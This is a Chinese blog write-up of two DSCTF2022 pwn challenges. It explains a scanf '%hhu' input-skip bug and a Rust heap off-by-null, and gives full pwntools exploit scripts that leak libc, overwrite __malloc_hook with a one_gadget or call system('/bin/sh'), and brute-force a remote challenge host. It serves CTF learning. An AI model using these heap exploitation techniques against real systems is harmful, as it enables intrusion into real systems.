• 【DSCTF2022】pwn补题记录


    fuzzerinstrospector

    题目的功能很好分析,但是漏洞点之前没有见过,根据程序流程发现是scanf("%hhu"&x);存在漏洞,可以再每次新申请堆的时候跳过写入内容,保留原有堆的值。%hhu代表unsigned char,在输入为±符号的时候,输入是跳过的,并且不影响后续的程序流
    我的解题思路

    • 第一步:申请9个堆,然后释放9个堆,让tcache的队列填满
    • 第二步:申请7个堆,这个时候tcache会在最开始接近top chunk的7、8编号堆进行合并,并且保留main_arena地址
    • 第三步:利用scanf的漏洞保留main_arena值,并且通过map表泄露
    • 第四步:利用隐藏的功能实现system函数调用
    # -*- coding: utf-8 -*-
    from pwn  import *
    import pwnlib
    from LibcSearcher import *
    context(os='linux',arch='amd64',log_level='debug')
    #context_terminal = ["terminator","-x","sh","-c"]
    
    def FuzzerBitmap_Creatio(index,content,bitmap,mod):
    	conn.recvuntil("Your choice:")
    	conn.sendline("1")
    	conn.recvuntil("Index:")
    	conn.sendline(str(index))
    	for i in range(0,8):
    		conn.recvuntil(":")
    		if mod:
    			conn.sendline(str(ord(content[i])))
    		else:
    			conn.sendline(content[i])
    	conn.recvuntil("Bitmap:")
    	conn.send(bitmap.ljust(0x100,"\x00"))
    
    
    def Edit_FuzzerBitmap(index,content,bitmap):
    	conn.recvuntil("Your choice:")
    	conn.sendline("2")
    	conn.recvuntil("Index:")
    	conn.sendline(str(index))
    	for i in range(0,8):
    		conn.recvuntil(":")
    		conn.sendline(str(ord(content[i])))
    	conn.recvuntil("Bitmap:")
    	conn.send(bitmap.ljust(0x100,"\x00"))
    
    
    def Check_FuzzerBitmap(index):
        conn.recvuntil("Your choice:")
        conn.sendline("3")
        conn.recvuntil("Index:")
        conn.sendline(str(index))
    
    
    def Delete_FuzzerBitmap(index):
        conn.recvuntil("Your choice:")
        conn.sendline("4")
        conn.recvuntil("Index:")
        conn.sendline(str(index))
    
    def Attack(paylaod):
        conn.recvuntil("Your choice:")
        conn.sendline("6")
        conn.sendline(str(paylaod))
    
    if __name__ == '__main__':
    	HOST = '39.105.185.193'
    	PORT = 30007
    	conn = remote(HOST ,PORT)
    	#conn = process(['/home/assassin/Desktop/program/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/ld-2.27.so','./ciscn_final_3'], env = {'LD_PRELOAD' : '/home/assassin/Desktop/program/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so'})
    	#conn = process(['/home/assassin/Desktop/program/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so','./mrctf2020_shellcode_revenge'], env = {'LD_PRELOAD' : '/home/assassin/Desktop/program/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so'})
    	#conn = process("./fuzzerinstrospector")  
    	#pwnlib.gdb.attach(conn,"b main") #b *0x400ECF
    	pause()
    	table = ""
    	for i in range(0,256):
    		table += chr(i)
    	FuzzerBitmap_Creatio(0,"A"*8,table,1)
    	FuzzerBitmap_Creatio(1,"B"*8,table,1)
    	FuzzerBitmap_Creatio(2,"C"*8,table,1)
    	FuzzerBitmap_Creatio(3,"D"*8,table,1)
    	FuzzerBitmap_Creatio(4,"D"*8,table,1)
    	FuzzerBitmap_Creatio(5,"D"*8,table,1)
    	FuzzerBitmap_Creatio(6,"D"*8,table,1)
    	FuzzerBitmap_Creatio(7,"D"*8,table,1)
    	FuzzerBitmap_Creatio(8,"D"*8,table,1)
    	
    	Delete_FuzzerBitmap(0)
    	Delete_FuzzerBitmap(1)
    	Delete_FuzzerBitmap(2)
    	Delete_FuzzerBitmap(3)
    	Delete_FuzzerBitmap(4)
    	Delete_FuzzerBitmap(5)
    	Delete_FuzzerBitmap(6)
    	Delete_FuzzerBitmap(7)
    	Delete_FuzzerBitmap(8)
    	
    	FuzzerBitmap_Creatio(0,"+"*8,table,0)
    	FuzzerBitmap_Creatio(1,"+"*8,table,0)
    	FuzzerBitmap_Creatio(2,"+"*8,table,0)
    	FuzzerBitmap_Creatio(3,"+"*8,table,0)
    	FuzzerBitmap_Creatio(4,"+"*8,table,0)
    	FuzzerBitmap_Creatio(5,"+"*8,table,0)
    	FuzzerBitmap_Creatio(6,"+"*8,table,0)
    	FuzzerBitmap_Creatio(7,"+"*8,table,0)
    	#FuzzerBitmap_Creatio(8,"+"*8,table,0)
    	
    	
    	Check_FuzzerBitmap(7)
    	conn.recvuntil("Bitmap set:")
    	main_arena_leak = ""
    	for x in range(8):
    		conn.recvuntil("Bit: ")
    		one_bit = conn.recvuntil("\n",drop=True)
    		main_arena_leak += chr(int(one_bit))
    	main_arena_leak = u64(main_arena_leak)
    	print "The main_arena_leak is",hex(main_arena_leak)
    	
    	libc = LibcSearcher("__malloc_hook",main_arena_leak - 96 -0x10)
    	libc_base = main_arena_leak - 96 -0x10 - libc.dump("__malloc_hook")
    	onegadget = libc_base + 0x4f302
    	system = libc_base + libc.dump("system")
    	print "The libc base is",hex(libc_base)
    	print "The onegadget is",hex(onegadget)
    
    	Edit_FuzzerBitmap(0,"/bin/sh\x00",table)
    	Attack(system)
    
    	pause()
    	conn.interactive()
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71
    • 72
    • 73
    • 74
    • 75
    • 76
    • 77
    • 78
    • 79
    • 80
    • 81
    • 82
    • 83
    • 84
    • 85
    • 86
    • 87
    • 88
    • 89
    • 90
    • 91
    • 92
    • 93
    • 94
    • 95
    • 96
    • 97
    • 98
    • 99
    • 100
    • 101
    • 102
    • 103
    • 104
    • 105
    • 106
    • 107
    • 108
    • 109
    • 110
    • 111
    • 112
    • 113
    • 114
    • 115
    • 116
    • 117

    rusty(非预期解法)

    碰到这个题目的时候确实是比较懵的,rust程序没有接触过,基本上都是去符号的二进制文件,分析比较复杂。下面详细讲讲我再比赛后的解题路程

    第一步:先需要定位程序的主函数,并且了解程序的主要功能
    省略分析过程,其实从main函数一路就可以定位,关键函数的位置在0xC3F0位置,从上到下审阅,可以看出来第一个输入的应该一个不大于4的数字。在往后因为反汇编显示用了JMP进行跳跃,所以IDA解析不出来,我没有静态再去分析,主要靠动态调试进行测试,最后得到了函数的主要功能和特点

    • 功能1:创建堆块,申请堆块大小不超过0x100,并且经过审查使用的是calloc函数,所以申请的堆块会格式化堆内容(这导致了常规的leak libc更加困难)
    • 功能2:编辑堆块,经过测试这个编辑功能存在一比特溢出,我们可以通过此构造off-by-one或者是off-by-null
    • 功能3:释放堆块,经过测试发现,我们不能直接操作释放哪一个堆块,程序会根据申请堆的先后从后往前free堆块(不能操作释放哪个堆块使得堆溢出更加困难)
    • 功能4:打印堆块内容,前提是堆块必须存在,不存在UAF利用
    • 上述4个功能,只要碰到不符合程序流程的部分,会直接exit

    在详细的了解后,发现使用off-by-one实现overlapping是非常困难的,主要还是因为free不能控制,off-by-one基本上是向后操作的,因此需要考虑别的方法。

    经过Loτυs师傅的指点,发现还是需要使用off-by-null的方法
    大家可以去看师傅的原文,我这里会详细分析一下原理
    https://blog.csdn.net/Invin_cible/article/details/125812355?spm=1001.2014.3001.5501

    因为没有环境了,我主要实现在本地的测试哈,先上整体的程序代码

    # -*- coding: utf-8 -*-
    from pwn  import *
    import pwnlib
    from LibcSearcher import *
    context(os='linux',arch='amd64',log_level='debug')
    #context_terminal = ["terminator","-x","sh","-c"]
    
    def cteate_heap(size):
        conn.recvuntil("Command:")
        conn.sendline("1")
        conn.recvuntil("Size:")
        conn.sendline(str(size))
    
    def edit_heap(index,len,content):
        conn.recvuntil("Command:")
        conn.sendline("2")
        conn.recvuntil("Idx:")
        conn.sendline(str(index))
        conn.recvuntil("Len:")
        conn.sendline(str(len))
        conn.recvuntil("Data:")
        conn.sendline(str(content))
    
    def free_heap():
        conn.recvuntil("Command:")
        conn.sendline("3")
    
    def show_heap(index):
        conn.recvuntil("Command:")
        conn.sendline("4")
        conn.recvuntil("Idx:")
        conn.sendline(str(index))
    
    if __name__ == '__main__':
        HOST = 'node4.buuoj.cn'
        PORT = 26100
        #conn = remote(HOST ,PORT)
        conn = process("./rusty")  
        #pwnlib.gdb.attach(conn,"b main") #b *0x400ECF
        pause()
    
        '''第一步:通过构造大小为0x88、0x100、0x68,先把tcache填满'''
        [cteate_heap(0x88) for x in range(7)]   #0-6
        
        #这里用了9个0x100堆,就是想通过剩余的两个合并成0x200大小的unsorted bin
        [cteate_heap(0x100) for x in range(9)]  #7-15
    
        #这里用了8个0x68堆,是为了有一个放入fastbin中,并且在后续想办法利用它实现fastbin attack
        [cteate_heap(0x68) for x in range(8)]   #16-23
        [free_heap() for x in range(17)]        
    
        '''第二步:此时存在0x200大小的unsorted bin,申请2个堆使之剩下一个被切割的大小为0x90的块(含头),为了后续可以继续连续申请大小为0xf8的堆块'''
        cteate_heap(0x88)       #7
        cteate_heap(0x100)      #8
        
        '''第三步:连续申请9个0xf8的堆块,释放7个,再通过篡改第2个堆内容实现off-by-null'''
        [cteate_heap(0xf8) for x in range(9)]   #9-17
        [free_heap() for x in range(7)]
    
        payload = "\x00"*0xf0 + p64(0x80+0x110*7+0x70*8+0x100) + "\x00"
        edit_heap(9,len(payload),payload)
        free_heap()         #off by null success!!!  free 10!!!
        
        '''第四步:这一步猛一看为什么构造的这么复杂?是为了错开原本的对结构,使得新生成的堆头处于原本堆的中部'''
        cteate_heap(0x70)   #10
        [cteate_heap(0x100) for x in range(6)]  #11-16
        [cteate_heap(0xa0) for x in range(2)]   #17-18
        [cteate_heap(0xc8) for x in range(4)]   #19-22
        show_heap(9)
    
        conn.recvuntil("\x7f")
        conn.recv(2)
        leak = conn.recvuntil("\x7f")
        leak = leak.decode("utf-8").ljust(8,"\x00")
        leak = u64(leak)
        print "The libc leak is",hex(leak)
    
        __malloc_hook = leak - 96 - 0x10
        libc = LibcSearcher("__malloc_hook",__malloc_hook)
        libc_base = __malloc_hook - libc.dump("__malloc_hook")
        one_gadget = libc_base + 0x4f302
        realloc = libc_base + libc.dump("realloc")
        print "The malloc hook is",hex(__malloc_hook)
        print "The libc base is",hex(libc_base)
        print "The onegadget is",hex(one_gadget)
    
        '''第五步:修改新申请的堆块内容,实现fastbin attack'''
        cteate_heap(0xa0)   #23
        cteate_heap(0x90)   #24
        cteate_heap(0x90)   #25
        payload = "\x00"*0x58 + p64(0x71)+p64(__malloc_hook-0x23)       #18
        edit_heap(18,len(payload),payload)
        show_heap(9)
        cteate_heap(0x68)   #26
        cteate_heap(0x68)   #27
        
        '''第六步:修改malloc hook实现onegadget'''
        payload = "\x00"*0xb + p64(0) + p64(one_gadget)
        edit_heap(27,len(payload),payload)
    
        pause()
        conn.interactive()
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71
    • 72
    • 73
    • 74
    • 75
    • 76
    • 77
    • 78
    • 79
    • 80
    • 81
    • 82
    • 83
    • 84
    • 85
    • 86
    • 87
    • 88
    • 89
    • 90
    • 91
    • 92
    • 93
    • 94
    • 95
    • 96
    • 97
    • 98
    • 99
    • 100
    • 101
    • 102

    之后我们分步骤讲解
    第一步:通过构造大小为0x88、0x100、0x68,先把tcache填满
    通过第一步构造,此时我们的堆空间是这样的

    |------------------------|
    |         70x90        |    
    |------------------------|   	# 这里以下↓都是被释放的,以上↑是未被释放的
    |         20x110       |  	# 这两个0x110的堆块合并成了一个0x220的unsorted bin
    |------------------------|		
    |         70x110       |  	# 这里填满了tcache
    |------------------------|
    |         80x70        |    	# 这里填满了tcache  
    |------------------------|
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9

    在这里插入图片描述

    第二步:此时存在0x220大小的unsorted bin,申请2个堆使之剩下一个被切割的大小为0x80的块(含头)
    这一步是必须的,因为我们再申请堆块会优先从unsorted bin上申请,为了后面正常申请大小为0xf8的堆块,必须先把这个0x220的堆块切割变小,直至小于0x100

    第三步:连续申请9个0xf8的堆块,释放7个,再通过篡改第2个堆内容实现off-by-null
    [free_heap() for x in range(7)]之后,我们的堆空间已经变成了

    |------------------------|
    |         70x90        |    
    |------------------------|   	# 这里以下↓都是被释放的,以上↑是未被释放的
    |          0x90          |  	# 用于切割0x220的unsorted bin
    |------------------------|		
    |          0x110         |		# 用于切割0x220的unsorted bin
    |------------------------|		
    |          0x80          |  	# 切割后剩余的0x80的unsorted bin
    |------------------------|		
    |         70x110       |  	# 填满了tcache
    |------------------------|
    |         80x70        |		# 填满了tcache,并且生成一个fastbin      
    |------------------------|
    |         20x100       |      # 这两个是没有被释放的,用于实现off-by-one
    |------------------------|
    |         70x100       |      # 填满了tcache
    |------------------------|
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17

    通过修改第9个块,影响第10个块,经过计算使得pre_size指向被切割后的unsorted bin,具体的计算过程看代码应该是很清楚的
    在free(10)之后,堆结构就变成了

    |------------------------|
    |         70x90        |    
    |------------------------|   	# 这里以下↓都是被释放的,以上↑是未被释放的
    |          0x90          |  	# 用于切割0x220的unsorted bin
    |------------------------|		
    |          0x110         |		# 用于切割0x220的unsorted bin
    |------------------------|		
    |        合并后的块       |  	# 合并后的内容,大小为0x80 + 7*0x110 + 8*0x70 + 2*0x100,我们未被释放的是堆块9,位置在0x80 + 7*0x110 + 8*0x70
    |------------------------|
    |         70x100       |      # 填满了tcache
    |------------------------|
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11

    第四步:不断申请堆块,使得将大的unsorted bin切割至与第9块平齐
    这一步有一个大坑,就是切割的过程中,需要将新申请的堆头避开原有的堆头,否则会破坏原有堆结构并且报错,所以才会歪七扭八的申请这么多堆

        cteate_heap(0x70)   #10
        [cteate_heap(0x100) for x in range(6)]  #11-16
        [cteate_heap(0xa0) for x in range(2)]   #17-18
        [cteate_heap(0xc8) for x in range(4)]   #19-22
        show_heap(9)
    
    • 1
    • 2
    • 3
    • 4
    • 5

    然后就可以泄露libc地址了

    第五步:实现fastbin attack
    这个就不多说,新申请的堆块去修改在fastbin链上的堆块,实现fastbin attack,在malloc hook修改onegadget
    至此本地调试结束,大佬说本地调通很简单,因为还有其他问题…

    真实环境中坑点1:堆风水
    大佬说真实环境中还有堆风水的问题,他是把环境配置成ubuntu18更新libc来测试的,解决了堆风水问题

    真实环境中坑点2:malloc hook附近找可申请的\x7f与本地不同

    这个大佬说内存地址情况和本地也不一样,大佬用的爆破的方法,最终成功了。记录一下大佬的代码

    from pickle import TRUE
    from pwn import *
    from time import sleep
    # context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
    context.log_level = 'debug'
    # r = process('/home/cru5h/bin/2022/11/rusty')
    # r = remote('39.105.187.159',30008)
    libc = ELF('/home/cru5h/bin/2022/11/libc-2.27.so')
    
    def menu(choice):
        r.recvuntil(b'Command:')
        r.sendline(str(choice))
    
    def add(size):
        menu(1)
        r.recvuntil(b'Size: ')
        r.sendline(str(size))
    
    def edit(index,size,content):
        menu(2)
        r.recvuntil(b'Idx: ')
        r.sendline(str(index))
        r.recvuntil(b'Len: ')
        r.sendline(str(size))
        r.recvuntil(b'Data: ')
        r.sendline(content)
    
    def delete():
        menu(3)
    
    def show(index):
        menu(4)
        r.recvuntil(b'Idx: ')
        r.sendline(str(index))
    
    def pwn(i):
        r.recvuntil(b'Let\'s build a rusty house!\n')
        stack_addr = int(r.recvuntil(b'\n')[:-1],16)
    
        [add(0x88) for i in range(8)] #0-7
        [add(0x100) for i in range(9)]#8-16
        [add(0x68) for k in range(8)]#17-24
        [delete() for j in range(17)]
        add(0x80)#8
        add(0x100)#9
    
        [add(0xf8) for k in range(9)]#10-18
        [delete() for l in range(7)]
        edit(10,0xf9,b'a'*0xf0+p64(0xc70)+b'\x00')#9-11 exists
    
        delete()
        add(0x70)#11
        [add(0x100) for o in range(6)]#12-17
        add(0xf0)#18
        [add(0x60*2) for o in range(4)]#19-22
        add(0x40)#23
        
        show(10)
    
        r.recvuntil(b'Data: ')
        # something= r.recvuntil(b'\x7f')[-6:].decode('utf8')
        # print(something)
        r.recv(2)
        # res = r.recvuntil(b'\x7f')
        # print(res)
        # print(len(res))
        # libc_base = u64(res.ljust(8,'\x00')) - 0x3ebca0
    
        libc_base = u64(r.recvuntil(b'\x7f').decode('utf8').ljust(8,'\x00'))
        libc_base = (libc_base<<8)+0xa0-0x3ebca0
        print(hex(libc_base))
        one_gadget = libc_base+0x4f302
        malloc_hook = libc_base+libc.sym["__malloc_hook"]
        print(hex(malloc_hook))
        # edit(19,0x40,p64(0)+p64(0x71)+p64(malloc_hook-0xb-0x8))
        
        edit(19,0x40,p64(0)+p64(0x71)+p64(malloc_hook-0xb-0x8 - 0x48 +i))
        # gdb.attach(r)
        add(0x60)#24
        add(0x68)#25
        edit(25,0x20+0x48-i,b'g'*(0xb-8 +0x48-i)+p64(one_gadget))
        # pause()
        
        # log.success("libc_base: "+hex(libc_base))
        # gdb.attach(r)
        menu(1)
        r.interactive()
    
    
    for i in range(0x60):
        r = remote('39.105.187.159',30008)
        try:
            print(i)
            pwn(i)
            
        except EOFError:
            r.close()
    ————————————————
    版权声明:本文为CSDN博主「Loτυs」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
    原文链接:https://blog.csdn.net/Invin_cible/article/details/125812355
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71
    • 72
    • 73
    • 74
    • 75
    • 76
    • 77
    • 78
    • 79
    • 80
    • 81
    • 82
    • 83
    • 84
    • 85
    • 86
    • 87
    • 88
    • 89
    • 90
    • 91
    • 92
    • 93
    • 94
    • 95
    • 96
    • 97
    • 98
    • 99
    • 100

    真的不得不说Loτυs真的强,以至于我觉这个非预期解比站撸rust结构体带劲多了…orz…

  • 相关阅读:
    高逼格UI-ASD(Android Support Design)
    代码随想录算法训练营第六十天 | 739. 每日温度 & 496.下一个更大元素 I
    在字节跳动干软件测试5年,4月无情被辞,想给划水的兄弟提个醒
    安全漏洞-linux漏洞修复命令
    【PAT乙】2022秋季赛后总结
    如何在 Windows 10上修复0x000006ba错误
    面试题 17.09. 第 k 个数(技巧)
    【服务器数据恢复】hp服务器raid5磁盘掉线导致raid5不可用的数据恢复案例
    OpenCore Legacy Patcher 2.0.0 发布,83 款不受支持的 Mac 机型将能运行最新的 macOS Sequoia
    Linux--线程 创建、等待、退出
  • 原文地址:https://blog.csdn.net/qq_35078631/article/details/125992500